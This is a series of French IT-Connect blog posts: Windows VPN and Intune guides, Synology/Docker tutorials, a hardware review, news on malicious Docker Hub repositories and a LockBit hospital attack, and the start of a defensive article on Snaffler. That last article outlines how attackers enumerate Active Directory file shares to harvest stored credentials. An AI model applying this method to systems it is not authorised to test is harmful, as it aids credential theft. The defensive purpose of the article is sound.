Les mises à jour d'avril 2024 pour les systèmes d'exploitation Windows peuvent « casser » les connexions VPN ! Microsoft a confirmé l'existence de ce problème ! Voici ce qu'il faut savoir.

Sur le site de Microsoft, un nouveau problème, intitulé "Les connexions VPN peuvent échouer après l'installation de la mise à jour de sécurité April 2024", a fait son apparition. Microsoft a pris connaissance de ce problème après avoir reçu de nombreux signalements de la part des utilisateurs de Windows. L'entreprise américaine ne donne pas plus de précision, ni même un code d'erreur.

Ce problème affecte aussi bien Windows que Windows Server. Il est lié aux mises à jour publiées par Microsoft le 9 avril dernier, à l'occasion du Patch Tuesday d'avril 2024. Voici un récapitulatif des systèmes impactés et des mises à jour à l'origine du problème :

Pour le moment, Microsoft ne propose pas de correctif : "Nous travaillons à une solution et fournirons une mise à jour dans une prochaine version.", peut-on lire. Des investigations sont en cours et la seule solution temporaire disponible pour les utilisateurs, c'est de désinstaller la mise à jour problématique. Disons que c'est un peu la solution par défaut.

Ce n'est pas la première fois que la fonction VPN de Windows est impactée par une mise à jour. En janvier 2022, une mise à jour pour Windows 10 et Windows 11 était déjà l'origine d'un dysfonctionnement sur le VPN. En effet, à la suite de l'installation de la mise à jour, les connexions VPN L2TP étaient inutilisables.

Vous rencontrez ce problème ? N'hésitez pas à nous le dire en commentant cet article !

Source

The post Microsoft confirme des problèmes de VPN dans Windows, après l’installation de la mise à jour d’avril first appeared on IT-Connect.

NAS Synology : comment obtenir l’UID et le GID d’un utilisateur ?

2 mai 2024 à 07:00

I. Présentation

Dans ce tutoriel, nous allons apprendre à récupérer l'UID et le GID d'un utilisateur sur un NAS Synology. Vous allez me dire : pourquoi faire ? Et bien, sachez que ceci est utile lorsque l'on utilise un NAS Synology pour exécuter des containers Docker et que l'on souhaite faire tourner un container avec un compte utilisateur spécifique.

II. Rappels sur les notions de UID et GID

Avant de vous expliquer comment récupérer l'UID et le GID sur un NAS, voyons déjà à quoi correspondent ces deux valeurs.

L'UID pour User Identifier est un numéro unique associé à chaque utilisateur d'un système Linux. Il permet d'identifier l'utilisateur sans utiliser le nom et ne peut pas être modifié. Cette information est stockée dans le fichier "/etc/passwd".

Le GID pour Group Identifier est un numéro unique associé à chaque groupe d'un système Linux. Le GID permet d'identifier un groupe sans utiliser le nom et ne peut pas être modifié. Cette information est stockée dans le fichier "/etc/group".

Si un utilisateur ou un groupe est supprimé puis recréé, il n'aura pas le même UID / GID, car ce numéro est incrémenté à chaque fois.

Remarque : le compte super-utilisateur "root" hérite toujours de l'UID "0" et du GID "0".

III. Récupérer l'UID et le GID d'un utilisateur

Pour récupérer l'UID et le GID d'un utilisateur, nous devons utiliser la ligne de commandes SSH.

La première étape consiste à se rendre dans "Panneau de configuration", puis "Terminal & SNMP" afin de cocher l'option "Activer le service SSH". Ensuite, validez, et à la fin de l'opération, vous pouvez décocher cette option pour éviter d'exposer ce service inutilement si vous n'en avez pas l'usage.

Synology - Activer le service SSH

Désormais, nous devons nous connecter en SSH à notre NAS. Vous pouvez utiliser une application telle que PuTTY, mais ce n'est pas obligatoire. Si vous utilisez Windows 10 ou Windows 11, il y a un client SSH natif pour vous permettre de vous connecter à votre NAS.

Ouvrez une invite de commande et saisissez la commande "ssh" selon le modèle suivant :

ssh <nom d'utilisateur>@<adresse ip>

Par exemple, pour se connecter sur le NAS avec l'adresse IP "192.168.1.200" avec le compte "itconnect" :

ssh itconnect@192.168.1.200

Si vous avez besoin de préciser un numéro de port spécifique (autre que le port 22), ajoutez cette option en ajustant le numéro de port :

ssh itconnect@192.168.1.200 -p 222

Saisissez votre mot de passe et vous devriez avoir accès au shell du système DSM. Attention, le compte que vous utilisez pour vous connecter doit être membre du groupe "administrators" de DSM (c'est le cas du compte créé nativement lors de l'installation du NAS).

Une fois que vous avez accès à votre NAS en ligne de commande, vous devez utiliser la commande "id".

  • Pour récupérer l'UID et le GID du compte avec lequel vous êtes connecté en SSH :
id
  • Pour récupérer l'UID et le GID d'un autre compte existant sur votre NAS (exemple avec le compte nommé "docker")
id docker

Ici, nous pouvons voir que l'UID de cet utilisateur est "1027" tandis que son GID est "100". Ici, c'est bien le groupe principal auquel appartient l'utilisateur qui est retourné, car il peut être membre de plusieurs groupes.

Il ne reste plus qu'à faire bon usage de ces deux informations !

IV. Conclusion

Grâce à cette astuce, vous êtes en mesure de récupérer l'UID et le GID d'un compte utilisateur de votre NAS Synology ! Ces informations étant différentes d'un NAS à un autre et d'un utilisateur à un autre, c'est une manipulation à connaître.

The post NAS Synology : comment obtenir l’UID et le GID d’un utilisateur ? first appeared on IT-Connect.

Des millions de dépôts Docker Hub utilisés pour distribuer du contenu malveillant !

2 mai 2024 à 06:00

Une équipe de chercheurs en sécurité a analysé trois campagnes malveillantes s'appuyant sur des dépôts Docker Hub. D'après eux, environ 2,81 millions de dépôts sont utilisés à des fins malveillantes. Faisons le point sur cette menace.

D'après les chercheurs en sécurité de chez JFrog, environ 20 % des dépôts hébergés sur la plateforme Docker Hub contiennent du contenu malveillant, y compris des malwares. Ils ont découvert 4,6 millions de dépôts sans aucune image Docker, et donc inutilisables à partir de Docker et Kubernetes. Parmi ces dépôts, 2,81 millions ont été associés à trois campagnes malveillantes importantes lancées en mars 2021. Mais alors, quelles sont les données stockées dans ces dépôts sur Docker Hub ?

Docker Hub comme point de départ pour piéger les utilisateurs

Les cybercriminels utilisent les dépôts pour appâter les utilisateurs, en s'appuyant sur différentes techniques, dont le phishing. Par exemple, la technique baptisée "eBook Phishing" consiste à utiliser un dépôt Docker Hub pour inviter l'utilisateur à télécharger un eBook, au format PDF ou EPUB. Sauf qu'il est redirigé vers un site malveillant dont l'objectif est de collecter des numéros de cartes bancaires.

Nous pouvons citer également la technique "Downloader" où le dépôt Docker Hub est utilisé pour promouvoir des logiciels piratés ou des logiciels de triche pour les jeux-vidéos. Les cybercriminels utilisent des textes générés automatiquement et joue sur la description pour optimiser le référencement de la page. Là encore, la victime est redirigée vers un site malveillant grâce à un lien intégré à la page du dépôt. Ici, l'objectif est de déployer un malware sur la machine de la victime.

Pour rendre légitime leur lien et essayer de tromper l'utilisateur, les pirates usurpent l'identité de services de réducteurs d'URL. Par exemple, le domaine "blltly[.]com" vise à usurper l'identité du service légitime "bitly.com".

Voici un exemple :

Source : JFrog

Le graphique ci-dessous proposé par JFrog montre que le Docker Hub est activement utilisé pour des activités malveillantes. Certaines actions sont automatisées, ce qui explique le nombre conséquent de dépôts.

Classification des dépôts Docker Hub
Source : JFrog

L'équipe de Docker a fait le ménage

La bonne nouvelle, c'est que l'équipe de modération du Docker Hub a supprimé l'ensemble des dépôts malveillants suite à l'analyse effectuée par les chercheurs de JFrog. Néanmoins, il convient de rester méfiant, car il y en a surement d'autres, et d'autres seront probablement créés par la suite.

Même si le Docker Hub est une source officielle pour le téléchargement des images Docker, c'est avant tout un espace communautaire sur lequel nous pouvons retrouver "tout et n'importe quoi". Ce n'est pas un cas isolé, puisque certains pirates exploitent la plateforme PyPI dans le cadre de leurs activités malveillantes.

Source

The post Des millions de dépôts Docker Hub utilisés pour distribuer du contenu malveillant ! first appeared on IT-Connect.

Test UGREEN CM642 – Un boitier pour SSD NVMe compatible USB4

1 mai 2024 à 11:10

I. Présentation

Vous avez un disque SSD NVMe et vous souhaitez en faire un disque SSD externe ? Cela tombe bien, dans cet article, nous allons découvrir un boitier de chez UGREEN compatible USB4 ! Il s'agit de la norme USB la plus récente, avec un débit théorique de 40 Gbps.

Commençons par évoquer les caractéristiques de ce boitier UGREEN dont la référence exacte est CM642 :

  • Connectique : 1 x sortie USB-C
  • Emplacement pour disque : 1 x disque SSD NVMe M.2 (format 2230 / 2242 / 2260 / 2280)
  • Capacité maximale du disque : 4 To
  • Système de dissipation de la chaleur, avec ventilateur, intégré au boitier
  • Prise en charge des fonctions UASP, TRIM, S.M.A.R.T
  • Alimentation via USB : 5.0V - 3.0A Max
  • Systèmes d'exploitation pris en charge : Windows, Linux et macOS
  • Compatible : USB4 (40 Gbps), Thunderbolt 4, Thunderbolt 3, ainsi que USB3

Pour découvrir tous les produits et accessoires UGREEN, vous pouvez visiter leur site officiel :

II. Package et design

Le packaging de ce boitier UGREEN est plutôt soigné puisqu'il nous donne un aperçu du boitier, ainsi que ses principaux atouts et ses caractéristiques techniques. Les accessoires sont dans une petite boite en carton, tandis que le boitier est à part et correctement emballé.

Au-delà du boitier UGREEN en lui-même, voici ce qu'il y a dans la boite : un guide d'utilisation, un câble USB-C vers USB-C, un câble USB-C vers USB-A, un tournevis, une vis, et un pad de pâte thermique. Si votre PC ne possède pas de port USB-C, vous pourrez quand même connecter le boitier grâce aux différents câbles fournit.

Le boîtier est en alliage d'aluminium, ce qui optimise la dissipation de la chaleur vers l'extérieur. Le boitier est protégé par une coque en silicone qui le protégera contre certaines chutes. Personnellement, je trouve que ce boitier est très chic et qu'il a une allure premium. Les finitions sont impeccables. Voici les dimensions du boitier lorsqu'il est équipé de la coque : 12.5 cm x 5.4 cm x 2.3 cm. Sur le dessus du boitier, à gauche de la mention UGREEN, se situe une LED d'activité.

Pour démonter le boitier et installer un disque, il y a une seule vis à retirer : elle se situe sur le dessus du boitier. Ceci permet d'ouvrir le couvercle supérieur pour accéder à l'intérieur du boitier. Un logement est prêt à accueillir votre disque SSD : ici, un disque SSD NVMe Samsung 990 PRO est utilisé. Une fois le disque en place, il faut positionner la pâte thermique sur le dessus avant de refermer le boitier. Par ailleurs, nous pouvons apercevoir le ventilateur intégré au boitier.

L'installation du disque dans le boitier s'effectue facilement et rapidement. En cas de doute, nous pouvons nous référer à la notice fournie par UGREEN. Désormais, le disque est prêt à être utilisé. La première fois, il sera nécessaire de formater le disque à partir du système d'exploitation, s'il s'agit d'un disque neuf.

III. Performances

Désormais, nous allons évoquer les performances, même si cela dépendra fortement des caractéristiques du disque intégré au boitier, ainsi que de la puissance de l'appareil sur lequel est connecté le boitier.

Pour évaluer les performances de ce boitier, j'ai utilisé un mini PC Geekom IT13 équipé de ports USB4. Un disque SSD NVMe Samsung 990 PRO est intégré au boitier, dont les données constructeurs sont les suivantes : vitesse séquentielle de lecture de 7 450 Mo/s et 6 900 Mo/s en écriture.

Sur le même PC et avec le même disque, un benchmark a été réalisé avec CrystalDiskMark en USB4 et en USB 3.2.

  • Connecté en USB 4.0
  • Connecté en USB 3.2 Gen2

La température de disque est de 26 °C lorsqu'il est connecté au PC, mais non sollicité. Pendant le benchmark, la température monte à 34 °C puis à 43 °C (et elle reste stable), ce qui reste très correct. Le boitier quant à lui devient un peu chaud, ce qui montre que la chaleur est dissipée vers l'extérieur.

Sous Windows, la copie de gros fichiers de l'ordinateur vers le disque externe (écriture) est effectuée à une vitesse moyenne de 650 Mo/s. La même opération dans l'autre sens, c'est-à-dire en lecture depuis le disque externe, est effectuée à une vitesse moyenne de 980 Mo/s.

IV. Conclusion

Ce boitier UGREEN est excellent : très joli, bien conçu et il répond présent lorsqu'on le sollicite. Il assure des transferts ultra-rapides, ce qui est pratique pour réaliser des sauvegardes sur disque ou transférer des gros fichiers (fichiers vidéos en 4K, etc.). D'après les tests de charge que j'ai réalisés, le système de dissipation thermique semble être au point.

Ce boitier est proposé à 129.99 euros sur Amazon.fr : ce n'est pas donné, mais ce sont les prix actuels pour les boitiers compatibles USB4. Et surtout, les disques SSD externes se font rares sur le marché. Actuellement, la meilleure option, c'est probablement d'acheter un boitier comme celui-ci et d'ajouter le disque SSD de son choix.

Merci à UGREEN de m'avoir fourni un exemplaire de ce boitier dans le cadre de ce test.

The post Test UGREEN CM642 – Un boitier pour SSD NVMe compatible USB4 first appeared on IT-Connect.

Intune – Découverte du Portail d’entreprise sur Windows

1 mai 2024 à 11:00

I. Présentation

Dans cet article, nous allons introduire le Portail d'entreprise ou Company portal pour que vous puissiez avoir une idée plus précise de l'intérêt de cette fonctionnalité d'Intune, qui peut vous rendre bien des services.

Nous allons évoquer les fonctionnalités clés, le déploiement de l'application sur Windows, et nous découvrirons l'interface de cette même application.

II. Les fonctionnalités du Company Portal d'Intune

A. À quoi sert le Portail d'entreprise ?

Le Portail d'entreprise met à disposition des utilisateurs des informations utiles sur leur organisation et il leur donne accès à des actions pratiques en mode "self-service", comme la possibilité d'installer des applications, de déclencher la synchronisation d'un appareil ou encore de vérifier l'état de la conformité d'un appareil. Par ailleurs, l'enrollment d'un appareil peut être effectué via cette application, plutôt que par les paramètres du système.

Vous pourrez en savoir plus sur cette page :

Le Portail d'entreprise joue un rôle important dans le déploiement des applications via Intune. En effet, vous avez la possibilité de définir une des "applications en vedette", c'est-à-dire des applications disponibles et mises en avant dans le Portail d'entreprise. Ceci peut être utile pour mettre à disposition une application pour vos utilisateurs, sans que l'installation soit automatique : c'est l'utilisateur qui a la main.

Ceci s'applique aux applications dont l'option "Afficher ceci en tant qu'application à la une dans Portail d'entreprise" est définie sur "Oui". Vous pouvez tout à fait changer cette option sur vos applications existantes.

B. Les applications Portail d'entreprise

Le Portail d'entreprise Intune est accessible de plusieurs façons puisqu'il y a un portail Web et des applications, notamment une application Windows et une application mobile sur Android et iOS. N'importe quel utilisateur, à partir de son appareil inscrit et de son compte, peut accéder au Portail d'entreprise avec un navigateur via cette adresse :

Par ailleurs, l'application est accessible dans le Microsoft Store :

Désormais, nous allons voir comment déployer cette application via Intune.

III. Déployer l'application Company Portal sur Windows

Nous allons apprendre à déployer l'application Company Portal sur Windows à partir d'une stratégie d'applications Intune. Cette application étant publiée dans le Microsoft Store accessible depuis Windows, nous pouvons effectuer cette opération facilement.

Si vous n'êtes pas familier avec le déploiement d'applications du Microsoft Store via Intune, je vous recommande la lecture de cet article :

À partir du Centre d'administration Intune, vous devez créer une nouvelle application :

  • Cliquez sur "Applications", puis "Windows" et cliquez sur le bouton "Ajouter".
  • Dans le panneau latéral, choisissez le type d'application "Application Microsoft Store (nouvelle)" et suivez l'assistant.

À l'étape "Informations sur l'application", cliquez sur "Rechercher l’application Microsoft Store (nouvelle)" afin de rechercher "company portal". Sélectionnez l'application "Company portal" de type "UWP" visible dans la liste et cliquez sur "Sélectionner".

Ensuite, vous devez configurer cette application. Vous pouvez commencer par indiquer son nom en français, à savoir "Portail d'entreprise". Vous avez le choix entre une installation par utilisateur ou par machine (système). Indiquez également un logo, que vous pouvez récupérer sur Google via une recherche d'image.

Passez à l'étape "Affectations" et sélectionnez les groupes qui doivent bénéficier de cette application.

Poursuivez jusqu'à la fin pour finaliser la création de l'application.

IV. Aperçu du Company Portal sur Windows

Une fois que l'appareil aura effectué une synchronisation, l'application "Company Portal" sera visible sur Windows et vous pourrez commencer à l'explorer. L'image ci-dessous montre la section "Appareils" où l'utilisateur peut avoir un aperçu de l'ensemble des appareils dont il est déclaré comme propriétaire.

Par ailleurs, à partir du moment où une application ou plusieurs applications sont mises en avant dans le Portail d'entreprise, elles sont visibles directement dans l'interface de celui-ci. Si l'application n'est pas installée et qu'elle est disponible pour un utilisateur, il peut décider de l'installer.

Pour forcer la synchronisation d'un appareil à partir du Portail d'entreprise, Au sein de cette application, qui doit être au préalable installée sur l'appareil, cliquez sur le bouton des paramètres en bas à gauche (1) afin d'accéder au bouton nommé "Synchroniser" (2). Ceci est facilement accessible par un utilisateur lambda.

Sachez que vous avez aussi la possibilité de modifier l'apparence du Portail d'entreprise, en jouant sur les paramètres de branding de votre organisation, directement à partir du Centre d'administration Intune. En cliquant sur ce lien, vous serez redirigé directement vers la page de configuration. Au-delà de l'apparence, vous pourrez aussi activer/désactiver certaines fonctionnalités, notamment celle-ci qui peut être gênante :

Pour en savoir plus, consultez cette documentation de Microsoft :

V. Conclusion

Suite à la lecture de cet article, vous en savez plus sur le Portail d'entreprise de Microsoft Intune et vous êtes désormais en mesure de procéder à son déploiement et à sa personnalisation. Son atout principal, c'est le fait de permettre la publication d'applications auprès des utilisateurs. L'étape de branding est simple à effectuer, mais elle est importante, car elle permet d'ajouter le logo de votre entreprise, les coordonnées, etc.

The post Intune – Découverte du Portail d’entreprise sur Windows first appeared on IT-Connect.

Déployer Homer sur un NAS Synology – Un tableau de bord personnalisable

30 avril 2024 à 18:00

I. Présentation

Dans ce tutoriel, nous allons apprendre à déployer l'application Homer sur un NAS Synology, à l'aide d'un conteneur Docker ! Homer est un projet open source destiné à l'auto-hébergement dont l'objectif est de vous permettre de déployer une page d'accueil aux allures de tableau de bord sur votre propre serveur !

Sur cette page statique, vous allez pouvoir ajouter tous les éléments et liens que vous jugez nécessaire ! Par exemple, vous pouvez lister vos sites favoris, ajouter des liens vers vos applications préférées, ou encore vers vos équipements ! Il y a aussi la possibilité de remonter des informations à partir de services personnalisés, c'est-à-dire d'autres applications (Prometheus, AdGuard Home, Portainer, PiHole, Proxmox, etc...).

Homer peut s'avérer utile dans de nombreux scénarios et cette page est facilement personnalisable grâce à un fichier de configuration au format YAML.

"Un HOMepage statique très simple pour votre servER afin de garder vos services à portée de main, à partir d'un simple fichier de configuration yaml."

En complément de cet article, retrouvez notre cours complet sur la sécurisation d'un NAS Synology :

II. Installer l'application Homer sur son NAS

Avant de créer le conteneur, nous allons préparer un répertoire pour stocker ses données. Au sein du répertoire "docker", nous allons créer le répertoire "homer" afin de maintenir la logique habituelle : un répertoire par conteneur. Ce qui donne :

Puis, dans le répertoire "homer", nous allons créer un répertoire "data" qui sera utilisé pour stocker les données applicatives d'Homer. Ce qui donne :

Désormais, nous pouvons lancer l'application Container Manager (Docker) pour créer un nouveau conteneur à partir d'un code de configuration Docker Compose.

Dans "Container Manager", cliquez sur "Projet" puis sur "Créer". Nommez ce projet "homer" puis indiquez le répertoire "/docker/homer" comme chemin pour ce conteneur. Autrement dit, l'option "Chemin" doit avoir pour valeur "/docker/homer".

En ce qui concerne la "Source", choisissez l'option "Créer un fichier docker-compose.yml". Une zone de texte apparaît : qu'allons-nous écrire ici ? Nous allons récupérer le code du fichier "docker-compose.yml" disponible sur GitHub officiel pour ensuite l'adapter.

Ce qui donne :

Voici le code de base à copier-coller :

---
version: "2"
services:
  homer:
    image: b4bz/homer
    container_name: homer
    volumes:
      - /volume1/docker/homer/data:/www/assets
    ports:
      - 8080:8080
    user: 1000:1000 # default
    environment:
      - INIT_ASSETS=1 # default

Désormais, nous allons devoir modifier deux options : le chemin vers le répertoire local pour mapper le répertoire "/www/assets" du conteneur vers "/volume1/docker/homer/data", et les informations sur le compte utilisateur à utiliser pour exécuter le conteneur. Ici, l'utilisateur "docker" de mon NAS est spécifié en indiquant son UID "1027" et son GID "100".

Ici, nous ne modifions pas le mappage sur le numéro de port, donc l'application sera accessible sur le port 8080. Vous pouvez l'adapter si besoin. De plus, l'option "INIT_ASSETS=1" permet d'ajouter les fichiers de démonstrations à l'application, ce qui évite de partir de zéro.

Remarque : pour le nom de l'image, vous pouvez ajouter le tag "latest" pour récupérer la dernière image Docker de ce projet associée à ce tag. Ce qui donne la valeur "b4bz/homer:latest" pour la directive "image".

Une fois le fichier Docker Compose prêt, vous pouvez continuer jusqu'à la fin pour créer le conteneur. L'image "b4bz/homer" sera téléchargée à partir du Docker Hub et utilisée pour exécuter le conteneur.

Voilà, le conteneur Docker "homer" est actif !

Dès à présent, nous pouvons accéder à l'interface de l'application :

http://<adresse IP du NAS>:8080

Vous devriez obtenir ceci :

Désormais, nous allons évoquer la personnalisation de cette page d'accueil.

III. Personnaliser la page d'accueil Homer

Pour modifier la page d'accueil d'Homer, nous allons éditer le fichier suivant :

/docker/homer/data/config.yml

Pour l'éditer directement depuis l'interface de DSM, installez l'application "Éditeur de texte" depuis le "Centre de paquets". Ceci permet d'ajouter l'option "Ouvrir avec un éditeur de texte" dans le menu contextuel de DSM afin d'éditer les fichiers en ligne.

Le fichier de configuration s'ouvre. Il s'agit d'un fichier au format YAML, donc il faut respecter rigoureusement l'indentation, les espaces, etc... Pour ne pas générer de problèmes de syntaxes. L'édition est assez simple puisque le code est facilement lisible.

Vous pouvez charger vos images dans le répertoire "data/tools" de votre conteneur pour les appeler en tant que logo dans Homer. Par ailleurs, Homer s'appuie sur la bibliothèque FontAwesome pour charger les icônes, donc utilisez cette page pour rechercher un logo à intégrer sur une entrée (par exemple "fas fa-hdd" pour l'icône en forme de disque dur).

À titre d'exemple, voici le code du nœud « services » qui permet d'obtenir le résultat présenté ci-dessus avec les deux blocs "Mes sites favoris" et "Mes NAS".

# Services
# First level array represent a group.
# Leave only a "items" key if not using group (group name, icon & tagstyle are optional, section separation will not be displayed).
services:
  - name: "Mes sites favoris"
    icon: "fas fa-cloud"
    items:
      - name: "IT-Connect"
        logo: "assets/tools/Logo-IT-Connect.png"
        subtitle: "Tutoriels, cours, actualités - Informatique"
        tag: "tutos"
        keywords: "tutos"
        url: "https://www.it-connect.fr"
        target: "_blank" # optional html a tag target attribute
  - name: "Mes NAS"
    icon: "fas fa-hdd"
    items:
      - name: "NAS Synology DS220+"
        icon: "fas fa-hdd"
        subtitle: "https://192.168.1.200:5001"
        tag: "nas"
        keywords: "nas"
        url: "https://192.168.1.200:5001"
        target: "_blank" # optional html a tag target attribute
      - name: "NAS Synology DS923+"
        icon: "fas fa-hdd"
        subtitle: "https://192.168.1.201:5001"
        tag: "nas"
        keywords: "nas"
        url: "https://192.168.1.201:5001"
        target: "_blank" # optional html a tag target attribute

Quand vous effectuez une modification, enregistrez le fichier et rafraichissez la page web pour voir ce que ça donne. Homer étant une page d'accueil statique, elle est très rapide à charger et très légère.

L'intégration des services personnalisés s'effectue aussi dans ce fichier. Référez-vous à la documentation afin de copier-coller le bloc de configuration correspondant à votre service :

IV. Conclusion

En suivant ce tutoriel, vous devriez être en mesure d'installer Homer sur votre NAS Synology à l'aide de Docker ! C'est une application pratique et facile à personnaliser que l'on peut utiliser pour se créer une page d'accueil pour son Home Lab, ou, pour créer un portail d'entreprise léger, self-hosted, avec un ensemble de liens utiles.

Il y a des alternatives à Homer, notamment Heimdall, mais aussi Homarr qui est plus complet, mais aussi beaucoup plus lourd.

Pour aller plus loin, je vous recommande de publier cette application avec le reverse proxy de DSM, ce qui permettra d'avoir un certificat TLS et d'utiliser un nom de domaine. Référez-vous à ce tutoriel :

The post Déployer Homer sur un NAS Synology – Un tableau de bord personnalisable first appeared on IT-Connect.

LockBit revendique la cyberattaque contre l’Hôpital Simone Veil de Cannes !

30 avril 2024 à 16:11

Le gang de ransomware LockBit a revendiqué la cyberattaque contre l'Hôpital Simone Veil de Cannes ! Cet acte malveillant s'est déroulé il y a deux semaines. Voici les dernières informations !

Souvenez-vous : dans la nuit du 15 au 16 avril 2024, l'Hôpital Simone Veil de Cannes a été victime d'une cyberattaque. Cet incident de sécurité a eu un impact important sur l'Hôpital, contraint de fonctionner en mode dégradé et de reporter certains rendez-vous.

Le redoutable groupe de cybercriminels LockBit est de retour ! Pourtant, il a été fortement perturbé et contrarié par l'opération Cronos menée par les forces de l'ordre de 10 pays, en février dernier. Lors de cette opération, des serveurs de LockBit ont été saisis et les autorités étaient parvenus à publier un outil de déchiffrement pour permettre à certaines victimes de récupérer leurs données. Deux mois après cette opération, les cybercriminels de LockBit s'en sont pris à cet hôpital français.

En effet, ceci semble être de l'histoire ancienne, car ce 30 avril 2024, le groupe de LockBit a revendiqué la cyberattaque contre l'Hôpital Simone Veil de Cannes. L'établissement a été référencé sur le site de LockBit :

Source : Numerama

Désormais, l'Hôpital Simone Veil de Cannes doit payer la rançon demandée par les pirates, sinon les données volées lors de la cyberattaque seront divulguées. En plus de chiffrer les données, les cybercriminels de LockBit ont pour habitude d'exfiltrer les données pour mettre la pression à leur victime. Dans le cas présent, la direction devrait avoir pour consigne de ne pas payer la rançon, donc des données seront certainement publiées.

Pour le moment, l'Hôpital Simone Veil de Cannes n'a pas confirmé ces informations. À suivre.

Source

The post LockBit revendique la cyberattaque contre l’Hôpital Simone Veil de Cannes ! first appeared on IT-Connect.

Analysez vos partages de fichiers Active Directory avec Snaffler pour protéger vos données

30 avril 2024 à 14:00

I. Présentation

Dans cet article, nous allons explorer la problématique du stockage d'informations sensibles dans les partages de fichiers d'un système d'information et des conséquences que la mauvaise gestion des permissions et les négligences humaines peuvent avoir. Je vous partagerai mon retour d'expérience à ce sujet et notamment pourquoi il s'agit d'un incontournable dans le mode opératoire d'un attaquant lors d'une cyberattaque.

Nous allons également apprendre à utiliser l'outil Snaffler, qui peut être utilisé par la blue team (équipe de défense du SI) afin d'avoir une démarche proactive sur ce sujet et complémentaire vis-à-vis des autres bonnes pratiques de sécurité que nous allons évoquer.

Snaffler est un outil qui permet d'automatiser la recherche d'informations sensibles dans tous les partages de fichiers des systèmes du domaine. Cela grâce à de la découverte automatique de partage ainsi que des règles pré-conçues et personnalisables.

II. Partage réseau et informations sensibles

Les diverses missions que j'ai accomplies en tant qu'auditeur en cybersécurité et pentester m'ont conduit à la conclusion suivante : il est presque impossible de garantir qu'une donnée sensible n'est pas accessible à un utilisateur non légitime dans les partages réseau.

La recherche de fichiers contenant des mots de passe ou des données techniques sensibles est toujours une opération fructueuse via un compte authentifié sur le domaine.

La multitude de groupes, sites géographiques, permissions, ACL, partages, dossiers et sous-dossiers multipliée par la négligence, les mauvaises pratiques humaines et l'historique du SI font que dès qu'un attaquant compromet un compte utilisateur sur un domaine, il parvient à obtenir des identifiants grâce à une recherche d'information dans les partages de fichier. Ces identifiants peuvent être stockés dans :

  • des fichiers bureautiques;
  • des fichiers textes;
  • des coffres-fort de mots de passe;
  • des fichiers de configuration;
  • le code source d'une application web;
  • des disques dur de machines virtuelles;
  • des archives contenant un ou plusieurs des items précédents;
  • etc.

Le stockage d'informations sensibles dans les partages réseau des serveurs d'une entreprise est plutôt commun. C'est exactement le but de ces services : stocker les informations critiques de l'entreprise sur ses propres serveurs, au sein de son propre système d'information.

Cependant, c'est la gestion des permissions d'accès à ces informations qui pose majoritairement un problème. Une fois que l'attaquant obtient un compte valide du domaine, il peut alors profiter des droits de cet utilisateur, les groupes métiers auquel il appartient donneront de fait accès aux données relatives à son contexte métier.

Ça, c'est dans le meilleur des cas. Dans la réalité, le fait de disposer de n'importe quel compte utilisateur valide sur le domaine permet de profiter des droits permissions aux groupes "Tout le monde" et "Utilisateurs authentifiés". Ce sont les droits accordés à ces groupes sur les partages de fichiers qui sont généralement beaucoup trop permissifs. Et pour cause, lorsque l'on souhaite partager un dossier, celui-ci intègre par défaut une ACL de lecture sur le groupe "Tout le monde" (qui comprend "Utilisateurs authentifiés"), qu'il faut manuellement supprimer :

Pour rappel, Le groupe "Authenticated Users/Utilisateurs authentifiés" englobe tous les utilisateurs dont l'authentification a été vérifiée lors de leur connexion. Cela inclut à la fois les comptes d'utilisateurs locaux et ceux provenant de domaines de confiance. Le groupe "Tout le monde" inclut tous les membres du groupe "Utilisateurs authentifiés" ainsi que le compte intégré Invité, et divers comptes de sécurité intégrés (SERVICE, LOCAL_SERVICE, etc.).

Il faut aussi intégrer le fait que plus l'attaquant compromettra de compte utilisateur, plus il profitera des nouveaux privilèges obtenus pour accéder à de nouveaux partages et dossiers réseau en fonction des groupes d'appartenances des groupes compromis.

Par négligence, facilité ou ignorance des conséquences, il est très fréquent que la plupart des partages de fichiers soient accessibles aux membres du groupe "Utilisateurs authentifiés" du domaine, c'est-à-dire tous les utilisateurs.

Également, il faut connaitre et noter la différence entre les permissions appliquées les partages réseau et les permissions NTFS (appliquées sur les dossiers et sous-dossiers de ces partages). Ces permissions NTFS permettent de gérer les permissions des différents dossiers à l'intérieur d'un partage de fichier, en autorisant ou interdisant l'accès à des dossiers spécifiques. Dans les faits, cela permet donc de définir de façon granulaire qui a accès à quel dossier, mais cela rajoute de la complexité de gestion qui peut mener à des erreurs, des oublis, etc.

Pour mieux comprendre la différence entre permissions NTFS et permissions des partages, je vous invite à consulter notre article à ce sujet : Serveur de fichiers – Les permissions NTFS et de partage, résumé dans la vidéo ci-dessous :

Il est à noter que par "informations sensibles", la première idée qui vient en tête est bien sûr le mot de passe d'un compte privilégié du domaine. Dans un contexte d'entreprise, il peut s'agit également de données métiers (secrets industriels), d'informations financières et bancaires, mais aussi d'informations personnelles (RGPD) concernant les clients ou les salariés de l'entreprise. Nous verrons par la suite que ce détail à une importance pour la red team (attaquant), mais aussi pour la blue team (défenseur) qui souhaite avoir une démarche proactive et rechercher elle-même l'exposition excessive de données dans les partages réseaux.

Lors d'une cyberattaque, pour accomplir cette tâche de manière complète, la red team doit opérer de la façon suivante :

  1. Énumérer les hôtes du domaine.
  2. Énumérer les services de partage de fichiers présents sur ces hôtes.
  3. Énumérer les partages exposés et les permissions d'accès avec l'utilisateur courant.
  4. Parcourir chaque dossier et chaque fichier accessible à la recherche d'informations sensibles.

Vous l'imaginez bien, cette tâche est fastidieuse et ne peut être menée à bien dans un délai raisonnable. C'est pourquoi des outils ont été créés pour l'automatiser de façon efficace. De plus, ces opérations sont fréquentes dans le mode opératoire des attaquants et disposent de leur propre TTP dans le framework MITRE ATT&CK, preuve qu'il s'agit d'un sujet à prendre au sérieux :

Prenez notamment le temps de jeter un œil à la section "Procedure Examples" du TTP T1083. Cette section liste les cas avérés et documentés de cyberattaque ayant exploité ce TTP. Ici, près de 350 cas sont répertoriés.

III. Gestion des droits sur les partages réseaux : les bonnes pratiques standard

La gestion des permissions sur les partages réseau est une tâche à la base simple, qui devient très complexe dans un contexte réel d'entreprise. Il faut à la fois permettre la collaboration entre les utilisateurs, s'assurer que le principe de moindre privilège est respecté et garder un œil sur le respect des bonnes pratiques et directives données.

Le principe de moindre privilège est un concept fondamental en cybersécurité. Il consiste à n'accorder à un utilisateur, un processus ou un objet uniquement les privilèges nécessaires à l'accomplissement de ses tâches, et ce, sans accorder de droits superflus.

Ce principe vise à limiter les risques en réduisant la surface d'attaque potentielle. Il est souvent mis en avant lors de la gestion des droits d'accès pour souligner l'importance de mettre en place un modèle de privilèges granulaire, afin de minimiser les risques d'exploitation par des attaquants.

